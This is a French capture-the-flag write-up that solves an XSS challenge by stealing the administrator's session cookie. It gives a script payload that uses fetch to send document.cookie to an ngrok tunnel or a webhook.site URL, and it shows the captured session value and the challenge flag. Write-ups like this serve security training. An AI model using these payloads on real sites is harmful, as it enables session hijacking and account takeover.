XSS Cookie Session

Consignes

Aucune pour ce niveau

Réalisation

Se connecter au site du challenge:

http://ctfd-link.com/

On a un espace destiné à envoyer un message à l'administrateur.

Tester dans ce champ la possibiliter d'effectuer une exploitation XSS :

<script>alert('XSS')</script>

Dans notre cas, le serveur est bien vulnérable.

On doit maintenant récupérer le cookie de l'administrateur pour récupérer le FLAG du challenge.

Pour récupérer les cookies, il est important de connaitre la source associée aux cookies du site.

Pour récupérer des cookies, il d'agit de document.cookie

Ci-dessous, quelques exemples de sources et sinks communs.

|:---------------------:|:------------------------:|
|        Sources        |           Sinks          |
|:---------------------:|:------------------------:|
|      document.URL     |     document.write()     |
|  document.documentURI |      Window.location     |
| document.URLUnencoded |      Document.cookie     |
|    document.baseURI   |          eval()          |
|        location       |      Document.domain     |
|    document.cookie    |        WebSocket()       |
|   document.referrer   |        Element.src       |
|      window.name      |       postMessage()      |
|   history.pushState   |    setRequestHeader()    |
|  history.replaceState |  FileReader.readAsText() |
|      localStorage     |       ExecuteSql()       |
|     sessionStorage    | sessionStorage.setItem() |
|     -------------     |    document.evaluate()   |
|     -------------     |       JSON.parse()       |
|     -------------     |  element.setAttribute()  |
|     -------------     |         RegExp()         |
|:---------------------:|:------------------------:|

On va récupérer le coookie de l'administrateur de deux façons différentes.

Méthode 1

Utiliser ngrok pour récupérer le cookie.

Lancer dans un terminal ngrok :

$ ngrok tcp 8000

ngrok                                                                                   (Ctrl+C to quit)
                                                                                                        
❤️  ngrok? We're hiring https://ngrok.com/careers                                                        
                                                                                                        
Session Status                online                                                                    
Account                       xxxxxxxxxxx@gmail.com (Plan: Free)                                        
Update                        update available (version 3.22.1, Ctrl-U to update)                       
Version                       3.21.0                                                                    
Region                        Europe (eu)                                                               
Web Interface                 http://127.0.0.1:4040                                                     
Forwarding                    tcp://6.tcp.eu.ngrok.io:11769 -> localhost:8000                           
                                                                                                        
Connections                   ttl     opn     rt1     rt5     p50     p90                               
                              0       0       0.00    0.00    0.00    0.00   

Addresse : 6.tcp.eu.ngrok.io

Port : 11769

Lancer dans un second terminal un serveur HTTPpython sur le même port que ngrok (port 8000) :

$ python3 -m http.server 8000

Une fois tout ceci lancé, utiliser la source document.cookie pour récupérer les cookies de l'administrateur sur le site cible :

<script>fetch("url?cookie="+document.cookie);</script>

Remplacer url par http://adresse:port selon les valeurs retournées par ngrok

Ici, cela vaut : http://6.tcp.eu.ngrok.io:11769

Ici, la commande est donc :

<script>fetch("http://6.tcp.eu.ngrok.io:11769?cookie="+document.cookie);</script>

On obtient alors sur notre fenêtre python ceci :

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [09/May/2025 12:53:19] "GET /?cookie=_ga_HZ9M169DTK=GS2.1.s1746716933$o1$g0$t1746716981$j0$l0$h0;%20_ga=GA1.1.299214051.1746716933;%20session=hello HTTP/1.1" 200 -
127.0.0.1 - - [09/May/2025 12:53:19] "GET /?cookie=session=a7fb95126115c4c927e69429688761b6e00ac1ba38a71df699fffb395c1e47ec HTTP/1.1" 200 -

Le cookie de l'administrateur est donc ceci :

Nom : Session
Valeur : a7fb95126115c4c927e69429688761b6e00ac1ba38a71df699fffb395c1e47ec 

Se connecter au compte administrateur via le cookie relevé :

Modification du cookie de session

Une fois le cookie modifié, se rendre sur le page admin du challenge :

ctfd-link.com/admin

L'accès est effectif, le FLAG est retourné :

2600{xRx8hy-TIUTkuelZWDdH1IYl9H_YwAoSeM7vy8CVYZA}

Méthode 2

Utiliser un Webhook pour récupérer le cookie.

Se rendre sur le site https://webhook.site/.

Copier le lien fourni par le site :

Sur le site cible, utiliser la source document.cookie pour récupérer les cookies de l'administrateur :

<script>fetch("url?cookie="+document.cookie);</script>

Remplacer url par https://webhook.site/xxxxx selon le lien fourni par le Webhook.

Ici, cela vaut : https://webhook.site/469aab62-d8a9-4004-959e-45305bbdfe8a

Ici, la commande est donc :

<script>fetch("https://webhook.site/469aab62-d8a9-4004-959e-45305bbdfe8a?cookie="+document.cookie);</script>

On obtiens alors sur le Webhook le cookie de la session administrateur :

On observe à gauche de l'image 2 réponses de la part du serveur. La première contient les cookies de notre session actuelle. Le seconde fourni le nom du cookie de l'administrateur ainsi que sa valeur :

Nom : Session
Valeur : a7fb95126115c4c927e69429688761b6e00ac1ba38a71df699fffb395c1e47ec

Se connecter au compte administrateur via le cookie relevé :

Modification du cookie de session

Une fois le cookie modifié, se rendre sur le page admin du challenge :

ctfd-link.com/admin

L'accès est effectif, le FLAG est retourné :

2600{xRx8hy-TIUTkuelZWDdH1IYl9H_YwAoSeM7vy8CVYZA}

Last updated